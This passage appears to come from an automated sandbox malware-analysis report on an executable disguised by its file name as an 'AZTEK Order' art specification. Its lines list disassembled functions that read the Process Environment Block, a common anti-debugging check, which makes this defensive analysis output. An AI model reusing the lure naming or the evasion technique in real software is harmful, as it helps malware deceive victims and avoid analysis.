Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0770 mov eax, dword ptr fs:[00000030h]	5_2_013C0770
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0750 mov eax, dword ptr fs:[00000030h]	5_2_013B0750
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2750 mov eax, dword ptr fs:[00000030h]	5_2_013F2750
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2750 mov eax, dword ptr fs:[00000030h]	5_2_013F2750
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142C730 mov eax, dword ptr fs:[00000030h]	5_2_0142C730
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E674D mov esi, dword ptr fs:[00000030h]	5_2_013E674D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E674D mov eax, dword ptr fs:[00000030h]	5_2_013E674D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E674D mov eax, dword ptr fs:[00000030h]	5_2_013E674D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014307C3 mov eax, dword ptr fs:[00000030h]	5_2_014307C3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B07AF mov eax, dword ptr fs:[00000030h]	5_2_013B07AF
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143E7E1 mov eax, dword ptr fs:[00000030h]	5_2_0143E7E1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B47FB mov eax, dword ptr fs:[00000030h]	5_2_013B47FB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B47FB mov eax, dword ptr fs:[00000030h]	5_2_013B47FB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145678E mov eax, dword ptr fs:[00000030h]	5_2_0145678E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D27ED mov eax, dword ptr fs:[00000030h]	5_2_013D27ED
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D27ED mov eax, dword ptr fs:[00000030h]	5_2_013D27ED
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D27ED mov eax, dword ptr fs:[00000030h]	5_2_013D27ED
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014647A0 mov eax, dword ptr fs:[00000030h]	5_2_014647A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BC7C0 mov eax, dword ptr fs:[00000030h]	5_2_013BC7C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B262C mov eax, dword ptr fs:[00000030h]	5_2_013B262C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CE627 mov eax, dword ptr fs:[00000030h]	5_2_013CE627
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E6620 mov eax, dword ptr fs:[00000030h]	5_2_013E6620
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E8620 mov eax, dword ptr fs:[00000030h]	5_2_013E8620
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F2619 mov eax, dword ptr fs:[00000030h]	5_2_013F2619
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147866E mov eax, dword ptr fs:[00000030h]	5_2_0147866E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147866E mov eax, dword ptr fs:[00000030h]	5_2_0147866E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C260B mov eax, dword ptr fs:[00000030h]	5_2_013C260B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C260B mov eax, dword ptr fs:[00000030h]	5_2_013C260B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C260B mov eax, dword ptr fs:[00000030h]	5_2_013C260B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C260B mov eax, dword ptr fs:[00000030h]	5_2_013C260B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C260B mov eax, dword ptr fs:[00000030h]	5_2_013C260B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C260B mov eax, dword ptr fs:[00000030h]	5_2_013C260B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C260B mov eax, dword ptr fs:[00000030h]	5_2_013C260B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E2674 mov eax, dword ptr fs:[00000030h]	5_2_013E2674
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E609 mov eax, dword ptr fs:[00000030h]	5_2_0142E609
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA660 mov eax, dword ptr fs:[00000030h]	5_2_013EA660
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA660 mov eax, dword ptr fs:[00000030h]	5_2_013EA660
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013CC640 mov eax, dword ptr fs:[00000030h]	5_2_013CC640
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E66B0 mov eax, dword ptr fs:[00000030h]	5_2_013E66B0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC6A6 mov eax, dword ptr fs:[00000030h]	5_2_013EC6A6
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B4690 mov eax, dword ptr fs:[00000030h]	5_2_013B4690
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B4690 mov eax, dword ptr fs:[00000030h]	5_2_013B4690
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0142E6F2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0142E6F2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0142E6F2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E6F2 mov eax, dword ptr fs:[00000030h]	5_2_0142E6F2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014306F1 mov eax, dword ptr fs:[00000030h]	5_2_014306F1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014306F1 mov eax, dword ptr fs:[00000030h]	5_2_014306F1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA6C7 mov ebx, dword ptr fs:[00000030h]	5_2_013EA6C7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA6C7 mov eax, dword ptr fs:[00000030h]	5_2_013EA6C7
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01430946 mov eax, dword ptr fs:[00000030h]	5_2_01430946
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A8918 mov eax, dword ptr fs:[00000030h]	5_2_013A8918
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013A8918 mov eax, dword ptr fs:[00000030h]	5_2_013A8918
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01454978 mov eax, dword ptr fs:[00000030h]	5_2_01454978
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01454978 mov eax, dword ptr fs:[00000030h]	5_2_01454978
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143C97C mov eax, dword ptr fs:[00000030h]	5_2_0143C97C
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E908 mov eax, dword ptr fs:[00000030h]	5_2_0142E908
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142E908 mov eax, dword ptr fs:[00000030h]	5_2_0142E908
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F096E mov eax, dword ptr fs:[00000030h]	5_2_013F096E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F096E mov edx, dword ptr fs:[00000030h]	5_2_013F096E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013F096E mov eax, dword ptr fs:[00000030h]	5_2_013F096E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143C912 mov eax, dword ptr fs:[00000030h]	5_2_0143C912
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D6962 mov eax, dword ptr fs:[00000030h]	5_2_013D6962
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D6962 mov eax, dword ptr fs:[00000030h]	5_2_013D6962
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D6962 mov eax, dword ptr fs:[00000030h]	5_2_013D6962
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143892A mov eax, dword ptr fs:[00000030h]	5_2_0143892A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0144892B mov eax, dword ptr fs:[00000030h]	5_2_0144892B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014469C0 mov eax, dword ptr fs:[00000030h]	5_2_014469C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147A9D3 mov eax, dword ptr fs:[00000030h]	5_2_0147A9D3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B09AD mov eax, dword ptr fs:[00000030h]	5_2_013B09AD
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B09AD mov eax, dword ptr fs:[00000030h]	5_2_013B09AD
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C29A0 mov eax, dword ptr fs:[00000030h]	5_2_013C29A0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143E9E0 mov eax, dword ptr fs:[00000030h]	5_2_0143E9E0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E29F9 mov eax, dword ptr fs:[00000030h]	5_2_013E29F9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E29F9 mov eax, dword ptr fs:[00000030h]	5_2_013E29F9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA9D0 mov eax, dword ptr fs:[00000030h]	5_2_013BA9D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA9D0 mov eax, dword ptr fs:[00000030h]	5_2_013BA9D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA9D0 mov eax, dword ptr fs:[00000030h]	5_2_013BA9D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA9D0 mov eax, dword ptr fs:[00000030h]	5_2_013BA9D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA9D0 mov eax, dword ptr fs:[00000030h]	5_2_013BA9D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013BA9D0 mov eax, dword ptr fs:[00000030h]	5_2_013BA9D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E49D0 mov eax, dword ptr fs:[00000030h]	5_2_013E49D0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014389B3 mov esi, dword ptr fs:[00000030h]	5_2_014389B3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014389B3 mov eax, dword ptr fs:[00000030h]	5_2_014389B3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014389B3 mov eax, dword ptr fs:[00000030h]	5_2_014389B3
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D2835 mov eax, dword ptr fs:[00000030h]	5_2_013D2835
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D2835 mov eax, dword ptr fs:[00000030h]	5_2_013D2835
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D2835 mov eax, dword ptr fs:[00000030h]	5_2_013D2835
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D2835 mov ecx, dword ptr fs:[00000030h]	5_2_013D2835
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D2835 mov eax, dword ptr fs:[00000030h]	5_2_013D2835
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D2835 mov eax, dword ptr fs:[00000030h]	5_2_013D2835
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EA830 mov eax, dword ptr fs:[00000030h]	5_2_013EA830
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143E872 mov eax, dword ptr fs:[00000030h]	5_2_0143E872
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143E872 mov eax, dword ptr fs:[00000030h]	5_2_0143E872
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01446870 mov eax, dword ptr fs:[00000030h]	5_2_01446870
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01446870 mov eax, dword ptr fs:[00000030h]	5_2_01446870
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143C810 mov eax, dword ptr fs:[00000030h]	5_2_0143C810
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B4859 mov eax, dword ptr fs:[00000030h]	5_2_013B4859
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B4859 mov eax, dword ptr fs:[00000030h]	5_2_013B4859
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013E0854 mov eax, dword ptr fs:[00000030h]	5_2_013E0854
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C2840 mov ecx, dword ptr fs:[00000030h]	5_2_013C2840
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145483A mov eax, dword ptr fs:[00000030h]	5_2_0145483A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145483A mov eax, dword ptr fs:[00000030h]	5_2_0145483A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_014808C0 mov eax, dword ptr fs:[00000030h]	5_2_014808C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147A8E4 mov eax, dword ptr fs:[00000030h]	5_2_0147A8E4
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0887 mov eax, dword ptr fs:[00000030h]	5_2_013B0887
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC8F9 mov eax, dword ptr fs:[00000030h]	5_2_013EC8F9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013EC8F9 mov eax, dword ptr fs:[00000030h]	5_2_013EC8F9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143C89D mov eax, dword ptr fs:[00000030h]	5_2_0143C89D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DE8C0 mov eax, dword ptr fs:[00000030h]	5_2_013DE8C0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01446B40 mov eax, dword ptr fs:[00000030h]	5_2_01446B40
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01446B40 mov eax, dword ptr fs:[00000030h]	5_2_01446B40
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0147AB40 mov eax, dword ptr fs:[00000030h]	5_2_0147AB40
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01458B42 mov eax, dword ptr fs:[00000030h]	5_2_01458B42
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01464B4B mov eax, dword ptr fs:[00000030h]	5_2_01464B4B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01464B4B mov eax, dword ptr fs:[00000030h]	5_2_01464B4B
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145EB50 mov eax, dword ptr fs:[00000030h]	5_2_0145EB50
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DEB20 mov eax, dword ptr fs:[00000030h]	5_2_013DEB20
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DEB20 mov eax, dword ptr fs:[00000030h]	5_2_013DEB20
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013ACB7E mov eax, dword ptr fs:[00000030h]	5_2_013ACB7E
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0142EB1D mov eax, dword ptr fs:[00000030h]	5_2_0142EB1D
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01478B28 mov eax, dword ptr fs:[00000030h]	5_2_01478B28
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01478B28 mov eax, dword ptr fs:[00000030h]	5_2_01478B28
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0BBE mov eax, dword ptr fs:[00000030h]	5_2_013C0BBE
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013C0BBE mov eax, dword ptr fs:[00000030h]	5_2_013C0BBE
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0145EBD0 mov eax, dword ptr fs:[00000030h]	5_2_0145EBD0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0143CBF0 mov eax, dword ptr fs:[00000030h]	5_2_0143CBF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013DEBFC mov eax, dword ptr fs:[00000030h]	5_2_013DEBFC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8BF0 mov eax, dword ptr fs:[00000030h]	5_2_013B8BF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8BF0 mov eax, dword ptr fs:[00000030h]	5_2_013B8BF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B8BF0 mov eax, dword ptr fs:[00000030h]	5_2_013B8BF0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D0BCB mov eax, dword ptr fs:[00000030h]	5_2_013D0BCB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D0BCB mov eax, dword ptr fs:[00000030h]	5_2_013D0BCB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013D0BCB mov eax, dword ptr fs:[00000030h]	5_2_013D0BCB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0BCD mov eax, dword ptr fs:[00000030h]	5_2_013B0BCD
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0BCD mov eax, dword ptr fs:[00000030h]	5_2_013B0BCD
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B0BCD mov eax, dword ptr fs:[00000030h]	5_2_013B0BCD
